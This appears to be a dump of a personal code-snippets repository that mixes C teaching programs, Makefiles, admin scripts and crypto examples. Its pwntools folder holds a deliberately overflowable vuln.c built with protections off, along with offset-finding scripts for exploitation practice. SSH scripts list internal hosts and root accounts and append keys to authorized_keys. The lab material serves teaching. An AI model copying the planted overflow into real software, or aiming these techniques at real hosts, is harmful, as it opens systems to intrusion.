9 | Organizare,evaluation,84,84,8.46,9.0,3.0,10.0 10 | Deschidere,relevance,83,83,8.89,10.0,0.0,10.0 11 | Deschidere,evaluation,84,84,9.02,9.0,6.0,10.0 12 | Simț al umorului,relevance,82,82,7.83,8.0,0.0,10.0 13 | Simț al umorului,evaluation,82,82,8.60,9.0,1.0,10.0 14 | Retorică,relevance,78,78,8.92,9.0,4.0,10.0 15 | Retorică,evaluation,78,78,8.39,9.0,5.0,10.0 16 | Competență,relevance,82,82,9.89,10.0,8.0,10.0 17 | Competență,evaluation,82,82,9.90,10.0,8.0,10.0 18 | Preocupare,relevance,82,82,9.20,10.0,5.0,10.0 19 | Preocupare,evaluation,82,82,9.10,9.0,6.0,10.0 20 | Aspect fizic,relevance,82,82,5.29,5.0,0.0,10.0 21 | Aspect fizic,evaluation,80,80,8.56,9.0,1.0,10.0 22 | -------------------------------------------------------------------------------- /plots/scatter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/plots/scatter.png -------------------------------------------------------------------------------- /plots/violin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/plots/violin.png -------------------------------------------------------------------------------- /process/.gitignore: -------------------------------------------------------------------------------- 1 | /proc-self 2 | -------------------------------------------------------------------------------- /process/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # tests Makefile 3 | # 4 | 5 | CFLAGS = -Wall -g 6 | 7 | .PHONY: all clean 8 | 9 | all: proc-self 10 | 11 | proc-self: proc-self.o 12 | 13 | clean: 14 | -rm -f proc-self *~ *.o 15 | -------------------------------------------------------------------------------- /process/proc-self.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | char buf[256]; 7 | 8 | printf("pid is: %d\n", getpid()); 9 | 10 | readlink("/proc/self", buf, 256); 11 | printf ("/proc/self points to %s\n", buf); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /ptr/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | all: ptr 4 | 5 | .PHONY: all clean 6 | 7 | clean: 8 | -rm -f ptr *.o *~ 9 | -------------------------------------------------------------------------------- /ptr/ptr.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int *a; 6 | 7 | a = 0; 8 | printf("a = %p; *a = %d\n", a, *a); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /pwntools/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all clean 2 | 3 | all: vuln vuln_32 vuln_pie vuln_static vuln_stripped 4 | 5 | vuln: CFLAGS = -Wall -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=4 -fno-PIC 6 | vuln: LDFLAGS = -no-pie 7 | vuln: vuln.o 8 | 9 | vuln_32: CFLAGS = -Wall -m32 -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -fno-PIC 10 | vuln_32: LDFLAGS = -no-pie -m32 11 | vuln_32: vuln_32.o 12 | 13 | vuln_pie: CFLAGS = -Wall -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=4 -fPIC 14 | vuln_pie: LDFLAGS = -pie 15 | vuln_pie: vuln_pie.o 16 | 17 | vuln_static: CFLAGS = -Wall -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=4 -fno-PIC 18 | vuln_static: LDFLAGS = -no-pie -static 19 | vuln_static: vuln_static.o 20 | 21 | vuln_stripped: CFLAGS = -Wall -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=4 -fno-PIC 22 | vuln_stripped: LDFLAGS = -no-pie 23 | vuln_stripped: vuln_stripped.o 24 | $(CC) $(LDFLAGS) -o $@ $^ 25 | strip $@ 26 | 27 | %.o: vuln.c 28 | $(CC) $(CFLAGS) -c -o $@ $< 29 | 30 | clean: 31 | -rm -f *~ 32 | -rm -f vuln.o vuln_32.o vuln_pie.o 33 | -rm -f vuln vuln_32 vuln_pie vuln_static vuln_stripped 34 | -rm -f core 35 | -rm -f peda-session* 36 | -------------------------------------------------------------------------------- /pwntools/code-reuse: -------------------------------------------------------------------------------- 1 | ../code-reuse/ -------------------------------------------------------------------------------- /pwntools/get_offset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Get return address offset using pwntools. 5 | """ 6 | 7 | from pwn import * 8 | 9 | need_crash = False 10 | 11 | if need_crash == True: 12 | # Start debugger. 13 | io = gdb.debug("./vuln") 14 | 15 | # Send cyclic pattern to create overflow. 16 | pattern = cyclic(512, n=8) 17 | io.sendline(pattern) 18 | 19 | pause() 20 | 21 | # Once you get a message such as this, compute the offset. 22 | # RBP: 0x6161616161616169 ('iaaaaaaa') 23 | # RSP: 0x7ffe86e5e238 ("jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaa") 24 | # RIP: 0x400653 (: ret) 25 | else: 26 | # Use value from above step 27 | rbp_value = 0x6161616161616169 28 | offset = cyclic_find(rbp_value, n=8) + 8 29 | log.info("offset: {:d}".format(offset)) 30 | -------------------------------------------------------------------------------- /pwntools/get_offset_32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Get return address offset using pwntools. 5 | """ 6 | 7 | from pwn import * 8 | 9 | need_crash = False 10 | 11 | if need_crash == True: 12 | # Start debugger. 13 | io = gdb.debug("./vuln_32") 14 | 15 | # Send cyclic pattern to create overflow. 16 | pattern = cyclic(512) 17 | io.sendline(pattern) 18 | 19 | pause() 20 | 21 | # Once you get a message such as this, compute the offset. 22 | # EBP: 0x61616171 ('qaaa') 23 | # ESP: 0xff8e8e78 ("saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaa") 24 | # EIP: 0x61616172 ('raaa') 25 | else: 26 | # Use value from above step 27 | eip_value = 0x61616172 28 | offset = cyclic_find(eip_value) 29 | log.info("offset: {:d}".format(offset)) 30 | -------------------------------------------------------------------------------- /pwntools/in-out/.gitignore: -------------------------------------------------------------------------------- 1 | /test 2 | -------------------------------------------------------------------------------- /pwntools/in-out/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall 2 | 3 | .PHONY: all clean 4 | 5 | all: test 6 | 7 | test: test.o 8 | 9 | test.o: test.c 10 | 11 | clean: 12 | -rm -f *~ 13 | -rm -f test.o test 14 | -------------------------------------------------------------------------------- /pwntools/in-out/ex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | from pwn import * 5 | 6 | 7 | binary = "./test" 8 | context.binary = binary 9 | #context.log_level = "debug" 10 | e = ELF(binary) 11 | 12 | local = True 13 | if local: 14 | io = process(binary) 15 | else: 16 | HOST = "141.85.224.102" 17 | PORT = 31344 18 | io = remote(HOST, PORT) 19 | 20 | io.sendline("10") 21 | msg = io.recvline() 22 | log.info("msg: {}".format(msg)) 23 | -------------------------------------------------------------------------------- /pwntools/in-out/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int n; 6 | 7 | scanf("%d", &n); 8 | printf("n: %d\n", n); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /pwntools/stack-pivot: -------------------------------------------------------------------------------- 1 | ../stack-pivot/ -------------------------------------------------------------------------------- /pwntools/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/pwntools/vuln -------------------------------------------------------------------------------- /pwntools/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* global test variable */ 4 | static size_t g = 0x42424242; 5 | 6 | static void warcraft(void) 7 | { 8 | puts("chieftain"); 9 | } 10 | 11 | static void diablo(size_t a, size_t b) 12 | { 13 | if (a == 0x12345678 && b == 0xaabbccdd) 14 | puts("worldstone"); 15 | } 16 | 17 | static void starcraft(void) 18 | { 19 | if (g == 0xc001face) 20 | puts("koprulu"); 21 | } 22 | 23 | static void reader(void) 24 | { 25 | char buffer[64]; 26 | 27 | printf("gimme message: "); 28 | fgets(buffer, 128, stdin); 29 | printf("hello, %s\n", buffer); 30 | } 31 | 32 | int main(void) 33 | { 34 | puts("hello, blizzard!"); 35 | 36 | reader(); 37 | 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /pwntools/vuln_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/pwntools/vuln_32 -------------------------------------------------------------------------------- /pwntools/vuln_pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/pwntools/vuln_pie -------------------------------------------------------------------------------- /pwntools/vuln_static: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/pwntools/vuln_static -------------------------------------------------------------------------------- /pwntools/vuln_stripped: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/pwntools/vuln_stripped -------------------------------------------------------------------------------- /repoctl/git-initial-commit: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | git init && echo "test" > test.txt && git add . && git commit -m 'initial commit' && git remote add origin gitolite@ixlabs.cs.pub.ro:sshsync.git && git push origin master 4 | -------------------------------------------------------------------------------- /rsync/rsync-from-mamba: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RSYNC=/usr/bin/rsync 4 | SSH=/usr/bin/ssh 5 | KEY=/home/razvan/.ssh/id_rsa 6 | RUSER=razvan 7 | RHOST=mamba.cs.pub.ro 8 | #OPTS="-avz --include /wiki/images --exclude /wiki/* --exclude /wiki-old --exclude /Teme/note --exclude /Teme/upload --exclude /Teme/*.auth --exclude /functions.php" 9 | #OPTS="-avz --exclude /wiki-old --exclude /Teme/note --exclude /Teme/upload --exclude /Teme/*.auth --exclude /functions.php" 10 | OPTS="-avz" 11 | 12 | #RPATH=/home/razvan/backup/mystuff/ 13 | #LPATH=/home/razvan/mystuff/ 14 | #mkdir $LPATH 15 | #echo "here" 16 | #cd $LPATH && $RSYNC $OPTS -e "$SSH -i $KEY" $RUSER@$RHOST:$RPATH $LPATH 17 | 18 | RPATH=/home/razvan/backup/people/ 19 | LPATH=/home/razvan/people/ 20 | mkdir $LPATH 21 | cd $LPATH && $RSYNC $OPTS -e "$SSH -i $KEY" $RUSER@$RHOST:$RPATH $LPATH 22 | 23 | #RPATH=/home/razvan/backup/official/ 24 | #LPATH=/home/razvan/official/ 25 | #mkdir $LPATH 26 | #cd $LPATH && $RSYNC $OPTS -e "$SSH -i $KEY" $RUSER@$RHOST:$RPATH $LPATH 27 | 28 | #RPATH=/home/razvan/backup/projects/ 29 | #LPATH=/home/razvan/projects/ 30 | #mkdir $LPATH 31 | #cd $LPATH && $RSYNC $OPTS -e "$SSH -i $KEY" $RUSER@$RHOST:$RPATH $LPATH 32 | 33 | RPATH=/home/razvan/backup/school/ 34 | LPATH=/home/razvan/school/ 35 | mkdir $LPATH 36 | cd $LPATH && $RSYNC $OPTS -e "$SSH -i $KEY" $RUSER@$RHOST:$RPATH $LPATH 37 | -------------------------------------------------------------------------------- /ruby/test-ldap-2.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'net/ldap' 3 | 4 | ldap = Net::LDAP.new :host => "mamba.cs.pub.ro", 5 | :port => 62136, 6 | :auth => { 7 | :method => :simple, 8 | :username => "cn=admin,dc=garm,dc=cs,dc=pub,dc=ro", 9 | :password => "xxxxxx" 10 | } 11 | 12 | ldap.encryption(:simple_tls) 13 | ldap.open do |ldap1| 14 | result = ldap.bind(:method => :simple, :username => "uid=gandalf,ou=WhiteCouncil,dc=garm,dc=cs,dc=pub,dc=ro", :password => "gandalf") 15 | if result 16 | puts "OK" 17 | else 18 | puts "Not OK" 19 | end 20 | end 21 | -------------------------------------------------------------------------------- /ruby/test-ldap.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'net/ldap' 3 | 4 | ldap = Net::LDAP.new :host => "ldap.grid.pub.ro", 5 | :port => 636, 6 | :auth => { 7 | :method => :simple, 8 | :username => "cn=admin,dc=garm,dc=cs,dc=pub,dc=ro", 9 | :password => "xxxxxx" 10 | } 11 | 12 | ldap.encryption(:simple_tls) 13 | 14 | result = ldap.bind_as(:base => "dc=garm,dc=cs,dc=pub,dc=ro", 15 | :filter => "(uid=gandalf)", 16 | :password => "gandalf") 17 | 18 | if result 19 | puts "OK" 20 | else 21 | puts "Not OK" 22 | end 23 | -------------------------------------------------------------------------------- /rust/.gitignore: -------------------------------------------------------------------------------- 1 | /hello 2 | -------------------------------------------------------------------------------- /rust/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "hello_world" 3 | version = "0.1.0" 4 | authors = ["a@b.com"] 5 | build = "hello.rs" 6 | -------------------------------------------------------------------------------- /rust/Makefile: -------------------------------------------------------------------------------- 1 | RUSTC = rustc 2 | 3 | .PHONY: all clean 4 | 5 | all: hello 6 | 7 | hello: hello.rs 8 | $(RUSTC) -o $@ $^ 9 | 10 | clean: 11 | -rm -f hello 12 | -rm -f *~ 13 | -------------------------------------------------------------------------------- /rust/hello.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | // Statements here are executed when the compiled binary is called 3 | 4 | // Print text to the console 5 | println!("Hello World!"); 6 | } 7 | -------------------------------------------------------------------------------- /sed/.gitignore: -------------------------------------------------------------------------------- 1 | /test.txt.new 2 | -------------------------------------------------------------------------------- /sed/README: -------------------------------------------------------------------------------- 1 | insert-at-line: use sed to insert a message at a given line number 2 | 3 | * sample usage: ./insert-at-line test.txt 5 4 | * output is written to test.txt.out 5 | * you may use the -i option to sed for in place editing 6 | -------------------------------------------------------------------------------- /sed/insert-at-line: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if test $# -ne 2; then 4 | echo "Usage: $0 file line-number" 1>&2 5 | exit 1 6 | fi 7 | 8 | input="$1" 9 | line_number="$2" 10 | output="$input.new" 11 | message="let there be light" 12 | sed < "$input" > "$output" " 13 | $line_number i \\${message} 14 | " 15 | -------------------------------------------------------------------------------- /sed/test.txt: -------------------------------------------------------------------------------- 1 | 1 2 | 2 3 | 3 4 | 4 5 | 5 6 | 6 7 | 7 8 | 8 9 | 9 10 | 10 11 | 11 12 | 12 13 | 13 14 | 14 15 | 15 16 | 16 17 | 17 18 | 18 19 | 19 20 | 20 21 | -------------------------------------------------------------------------------- /setuid/.gitignore: -------------------------------------------------------------------------------- 1 | /setuid-test 2 | -------------------------------------------------------------------------------- /setuid/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all move clean 4 | 5 | all: move 6 | 7 | move: setuid-test 8 | sudo chown root:root setuid-test 9 | sudo chmod u+s setuid-test 10 | 11 | setuid-test: setuid-test.o 12 | 13 | setuid-test.o: setuid-test.c 14 | 15 | clean: 16 | -sudo rm -f setuid-test 17 | -rm -f *~ 18 | -rm -f *.o 19 | -------------------------------------------------------------------------------- /setuid/setuid-test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define _GNU_SOURCE 6 | #include 7 | #include 8 | #include 9 | 10 | static void print_current_uid(void) 11 | { 12 | uid_t uid, euid, ssuid; 13 | 14 | getresuid(&uid, &euid, &ssuid); 15 | 16 | printf("uid: %d; euid: %d; ssuid: %d\n", uid, euid, ssuid); 17 | } 18 | 19 | static void drop_privilege(uid_t uid) 20 | { 21 | if (seteuid(uid) == -1) 22 | perror("seteuid"); 23 | } 24 | 25 | static void restore_privilege(uid_t ssuid) 26 | { 27 | if (seteuid(ssuid) == -1) 28 | perror("seteuid"); 29 | } 30 | 31 | static void drop_all(uid_t uid) 32 | { 33 | if (setresuid(uid, uid, uid) == -1) 34 | perror("setresuid"); 35 | } 36 | 37 | int main(void) 38 | { 39 | uid_t uid, euid, ssuid; 40 | getresuid(&uid, &euid, &ssuid); 41 | 42 | printf("initial values:\n"); 43 | print_current_uid(); 44 | 45 | drop_privilege(uid); 46 | printf("after privilege drop\n"); 47 | print_current_uid(); 48 | 49 | restore_privilege(ssuid); 50 | printf("after privilege restore\n"); 51 | print_current_uid(); 52 | 53 | drop_all(1002); 54 | printf("drop all privileges\n"); 55 | print_current_uid(); 56 | 57 | setresuid(1000, 1000, -1); 58 | printf("change real uid to 1000\n"); 59 | print_current_uid(); 60 | 61 | setresuid(0, 0, -1); 62 | printf("change real uid to 0\n"); 63 | print_current_uid(); 64 | 65 | drop_all(1002); 66 | printf("drop all privileges\n"); 67 | print_current_uid(); 68 | 69 | restore_privilege(0); 70 | printf("try privilege restore\n"); 71 | print_current_uid(); 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /signal/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | all: sigchld 4 | 5 | .PHONY: clean 6 | 7 | clean: 8 | -rm -f *~ *.o sigchld 9 | -------------------------------------------------------------------------------- /signed-unsigned/.gitignore: -------------------------------------------------------------------------------- 1 | /signed-unsigned 2 | /signed-unsigned-representation 3 | -------------------------------------------------------------------------------- /signed-unsigned/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: signed-unsigned signed-unsigned-representation 6 | 7 | clean: 8 | -rm -f *~ *.o signed-unsigned 9 | -------------------------------------------------------------------------------- /signed-unsigned/signed-unsigned-representation.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | char c1 = 0xff; 6 | unsigned char c2 = 0xff; 7 | 8 | printf("c1: %d, c2: %d\n", c1, c2); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /signed-unsigned/signed-unsigned.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int a = -1; 6 | unsigned int b = 200; 7 | 8 | if (a < b) { 9 | printf("true %d < %u\n", a, b); 10 | } 11 | else { 12 | printf("false %d > %u\n", a, b); 13 | } 14 | 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /sock/debug.h: -------------------------------------------------------------------------------- 1 | /* 2 | * debugging macros 3 | * heavily inspired by previous work and Internet resources 4 | * 5 | * uses C99 variadic macros 6 | * uses non-standard usage of the token-paste operator (##) for 7 | * removing the comma symbol (,) when not followed by a token 8 | * uses non-standard __FUNCTION__ macro (MSVC doesn't support __func__) 9 | * tested on gcc 4.4.5 and Visual Studio 2008 (9.0), compiler version 15.00 10 | * 11 | * 2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 12 | */ 13 | 14 | #ifndef DEBUG_H_ 15 | #define DEBUG_H_ 1 16 | 17 | #ifdef __cplusplus 18 | extern "C" { 19 | #endif 20 | 21 | #include 22 | 23 | /* log levels */ 24 | enum { 25 | LOG_EMERG = 1, 26 | LOG_ALERT, 27 | LOG_CRIT, 28 | LOG_ERR, 29 | LOG_WARNING, 30 | LOG_NOTICE, 31 | LOG_INFO, 32 | LOG_DEBUG 33 | }; 34 | 35 | /* 36 | * initialize default loglevel (for dlog) 37 | * may be redefined in the including code 38 | */ 39 | 40 | #ifndef LOG_LEVEL 41 | #define LOG_LEVEL LOG_WARNING 42 | #endif 43 | 44 | /* 45 | * define DEBUG macro as a compiler option: 46 | * -DDEBUG for GCC 47 | * /DDEBUG for MSVC 48 | */ 49 | 50 | #if defined DEBUG 51 | #define dprintf(format, ...) \ 52 | fprintf(stderr, " [%s(), %s:%u] " format, \ 53 | __FUNCTION__, __FILE__, __LINE__, \ 54 | ##__VA_ARGS__) 55 | #else 56 | #define dprintf(format, ...) \ 57 | do { \ 58 | } while (0) 59 | #endif 60 | 61 | #if defined DEBUG 62 | #define dlog(level, format, ...) \ 63 | do { \ 64 | if (level <= LOG_LEVEL) \ 65 | dprintf(format, ##__VA_ARGS__); \ 66 | } while (0) 67 | #else 68 | #define dlog(level, format, ...) \ 69 | do { \ 70 | } while (0) 71 | #endif 72 | 73 | #ifdef __cplusplus 74 | } 75 | #endif 76 | 77 | #endif 78 | -------------------------------------------------------------------------------- /sock/sock_util.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sock_util.h: useful socket macros and structures 3 | * 4 | * 2008-2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program; if not, write to the Free Software 18 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 19 | */ 20 | 21 | #ifndef SOCK_UTIL_H_ 22 | #define SOCK_UTIL_H_ 1 23 | 24 | #ifdef __cplusplus 25 | extern "C" { 26 | #endif 27 | 28 | #include 29 | #include 30 | #include 31 | 32 | /* default backlog for listen(2) system call */ 33 | #define DEFAULT_LISTEN_BACKLOG 5 34 | 35 | /* "shortcut" for struct sockaddr structure */ 36 | #define SSA struct sockaddr 37 | 38 | 39 | int tcp_connect_to_server(const char *name, unsigned short port); 40 | int tcp_close_connection(int s); 41 | int tcp_create_listener(unsigned short port, int backlog); 42 | int get_peer_address(int sockfd, char *buf, size_t len); 43 | 44 | #ifdef __cplusplus 45 | } 46 | #endif 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /sock/util.h: -------------------------------------------------------------------------------- 1 | /* 2 | * useful structures/macros 3 | * 4 | * 2011, Operating Systems 5 | */ 6 | 7 | #ifndef UTIL_H_ 8 | #define UTIL_H_ 1 9 | 10 | #ifdef __cplusplus 11 | extern "C" { 12 | #endif 13 | 14 | #include 15 | #include 16 | 17 | #if defined (_WIN32) 18 | 19 | #include 20 | 21 | static VOID PrintLastError(const PCHAR message) 22 | { 23 | CHAR errBuff[1024]; 24 | 25 | FormatMessage( 26 | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, 27 | NULL, 28 | GetLastError(), 29 | 0, 30 | errBuff, 31 | sizeof(errBuff) - 1, 32 | NULL); 33 | 34 | fprintf(stderr, "%s: %s\n", message, errBuff); 35 | } 36 | 37 | #define ERR(call_description) \ 38 | do { \ 39 | fprintf(stderr, "(%s, %d): ", \ 40 | __FILE__, __LINE__); \ 41 | PrintLastError(call_description); \ 42 | } while (0) 43 | 44 | #elif defined (__linux__) 45 | 46 | /* error printing macro */ 47 | #define ERR(call_description) \ 48 | do { \ 49 | fprintf(stderr, "(%s, %d): ", \ 50 | __FILE__, __LINE__); \ 51 | perror(call_description); \ 52 | } while (0) 53 | 54 | #else 55 | #error "Unknown platform" 56 | #endif 57 | 58 | /* print error (call ERR) and exit */ 59 | #define DIE(assertion, call_description) \ 60 | do { \ 61 | if (assertion) { \ 62 | ERR(call_description); \ 63 | exit(EXIT_FAILURE); \ 64 | } \ 65 | } while(0) 66 | 67 | #ifdef __cplusplus 68 | } 69 | #endif 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /ssh/add-public-ssh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | input=ssh-extra-accounts.txt 4 | log=/tmp/ssh-accounts.log 5 | pub=/home/razvan/.ssh/id_rsa_new.pub 6 | priv=/home/razvan/.ssh/id_rsa_new 7 | 8 | declare -a hosts 9 | declare -a users 10 | 11 | n=0 12 | while read hostname username; do 13 | hosts["$n"]="$hostname" 14 | users["$n"]="$username" 15 | ((n++)) 16 | done < "$input" 17 | 18 | > $log 19 | for ((i=0; i < $n; i++)); do 20 | echo -n "Adding ${users[$i]}@${hosts[$i]}..." 21 | cat "$pub" | ssh -l root "${hosts[$i]}" "eval cat - >> ~${users[$i]}/.ssh/authorized_keys" 22 | echo "done" 23 | done 24 | -------------------------------------------------------------------------------- /ssh/ssh-accounts.txt: -------------------------------------------------------------------------------- 1 | mail.cs.pub.ro root 2 | mail.cs.pub.ro razvan.deaconescu 3 | cursuri.cs.pub.ro root 4 | cursuri.cs.pub.ro so 5 | cursuri.cs.pub.ro pso 6 | sanctuary.cs.pub.ro root 7 | sanctuary.cs.pub.ro so 8 | sanctuary.cs.pub.ro pso 9 | ixlabs.cs.pub.ro root 10 | ixlabs.cs.pub.ro razvan 11 | anaconda.cs.pub.ro root 12 | anaconda.cs.pub.ro razvan 13 | mamba.cs.pub.ro root 14 | mamba.cs.pub.ro razvan 15 | swarm.cs.pub.ro root 16 | swarm.cs.pub.ro razvan 17 | elf.cs.pub.ro root 18 | elf.cs.pub.ro uso 19 | elf.cs.pub.ro rl 20 | elf.cs.pub.ro share 21 | elf.cs.pub.ro so 22 | elf.cs.pub.ro so2 23 | elf.cs.pub.ro mps 24 | elf.cs.pub.ro pisr 25 | elf.cs.pub.ro srisp 26 | elf.cs.pub.ro soa 27 | elf.cs.pub.ro asistent 28 | elf.cs.pub.ro torrent 29 | koala.cs.pub.ro root 30 | koala.cs.pub.ro licenta 31 | koala.cs.pub.ro l4 32 | koala.cs.pub.ro p2p 33 | koala.cs.pub.ro p2p-next 34 | koala.cs.pub.ro acm 35 | koala.cs.pub.ro ntfsundel 36 | koala.cs.pub.ro gitosis 37 | koala.cs.pub.ro lxr 38 | koala.cs.pub.ro lpi 39 | koala.cs.pub.ro admin 40 | koala.cs.pub.ro systems 41 | rosedu.org root 42 | rosedu.org cspay 43 | rosedu.org cdl 44 | -------------------------------------------------------------------------------- /ssh/ssh-extra-accounts.txt: -------------------------------------------------------------------------------- 1 | p2p-next-01.grid.pub.ro root 2 | p2p-next-01.grid.pub.ro p2p 3 | p2p-next-02.grid.pub.ro root 4 | p2p-next-02.grid.pub.ro p2p 5 | p2p-next-03.grid.pub.ro root 6 | p2p-next-03.grid.pub.ro p2p 7 | p2p-next-04.grid.pub.ro root 8 | p2p-next-04.grid.pub.ro p2p 9 | p2p-next-05.grid.pub.ro root 10 | p2p-next-05.grid.pub.ro p2p 11 | p2p-next-07.grid.pub.ro root 12 | p2p-next-07.grid.pub.ro p2p 13 | p2p-next-08.grid.pub.ro root 14 | p2p-next-08.grid.pub.ro p2p 15 | 141.85.224.210 root 16 | 141.85.224.210 p2p 17 | -------------------------------------------------------------------------------- /ssh/test-ssh-accounts: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | input=ssh-accounts.txt 4 | log=/tmp/ssh-accounts.log 5 | pub=/home/razvan/.ssh/id_rsa_new.pub 6 | priv=/home/razvan/.ssh/id_rsa_new 7 | 8 | declare -a hosts 9 | declare -a users 10 | 11 | n=0 12 | while read hostname username; do 13 | hosts["$n"]="$hostname" 14 | users["$n"]="$username" 15 | ((n++)) 16 | done < "$input" 17 | 18 | > $log 19 | for ((i=0; i < $n; i++)); do 20 | echo -n "Trying ${users[$i]}@${hosts[$i]}..." 21 | 22 | >> $log 2>&1 ssh -i "$priv" -l "${users[$i]}" "${hosts[$i]}" ":" 23 | if test $? -eq 0; then 24 | echo "done" 25 | else 26 | echo "failed" 27 | fi 28 | done 29 | -------------------------------------------------------------------------------- /ssl-dev/ed25519/.gitignore: -------------------------------------------------------------------------------- 1 | /gen_ed25519 2 | /sign_ed25519 3 | /verify_ed25519 4 | /ed25519 5 | /private.pem 6 | /public.pem 7 | /signature.dat 8 | -------------------------------------------------------------------------------- /ssl-dev/ed25519/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | LDLIBS = -lcrypto 3 | 4 | .PHONY: all clean 5 | 6 | all: gen_ed25519 sign_ed25519 verify_ed25519 ed25519 7 | 8 | gen_ed25519: gen_ed25519.o 9 | 10 | sign_ed25519: sign_ed25519.o 11 | 12 | verify_ed25519: verify_ed25519.o 13 | 14 | ed25519: ed25519.o 15 | 16 | clean: 17 | -rm -f gen_ed25519 gen_ed25519.o 18 | -rm -f sign_ed25519 sign_ed25519.o 19 | -rm -f verify_ed25519 verify_ed25519.o 20 | -rm -f ed25519 ed25519.o 21 | -rm -f private.pem public.pem signature.dat 22 | -rm -f *~ 23 | -------------------------------------------------------------------------------- /ssl-dev/ed25519/gen_ed25519.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define PRIVATE_KEYFILE "private.pem" 5 | #define PUBLIC_KEYFILE "public.pem" 6 | 7 | static int write_private_key_to_file(const char *fname, EVP_PKEY *pkey) 8 | { 9 | FILE *fp; 10 | 11 | fp = fopen(fname, "w"); 12 | if (fp == NULL) { 13 | perror("fopen"); 14 | return 0; 15 | } 16 | PEM_write_PrivateKey(fp, pkey, NULL, NULL, 0, NULL, NULL); 17 | fclose(fp); 18 | 19 | return 1; 20 | } 21 | 22 | static int write_public_key_to_file(const char *fname, EVP_PKEY *pkey) 23 | { 24 | FILE *fp; 25 | 26 | fp = fopen(fname, "w"); 27 | if (fp == NULL) { 28 | perror("fopen"); 29 | return 0; 30 | } 31 | PEM_write_PUBKEY(fp, pkey); 32 | fclose(fp); 33 | 34 | return 1; 35 | } 36 | 37 | int main(void) 38 | { 39 | EVP_PKEY *pkey = NULL; 40 | EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_ED25519, NULL); 41 | EVP_PKEY_keygen_init(pctx); 42 | 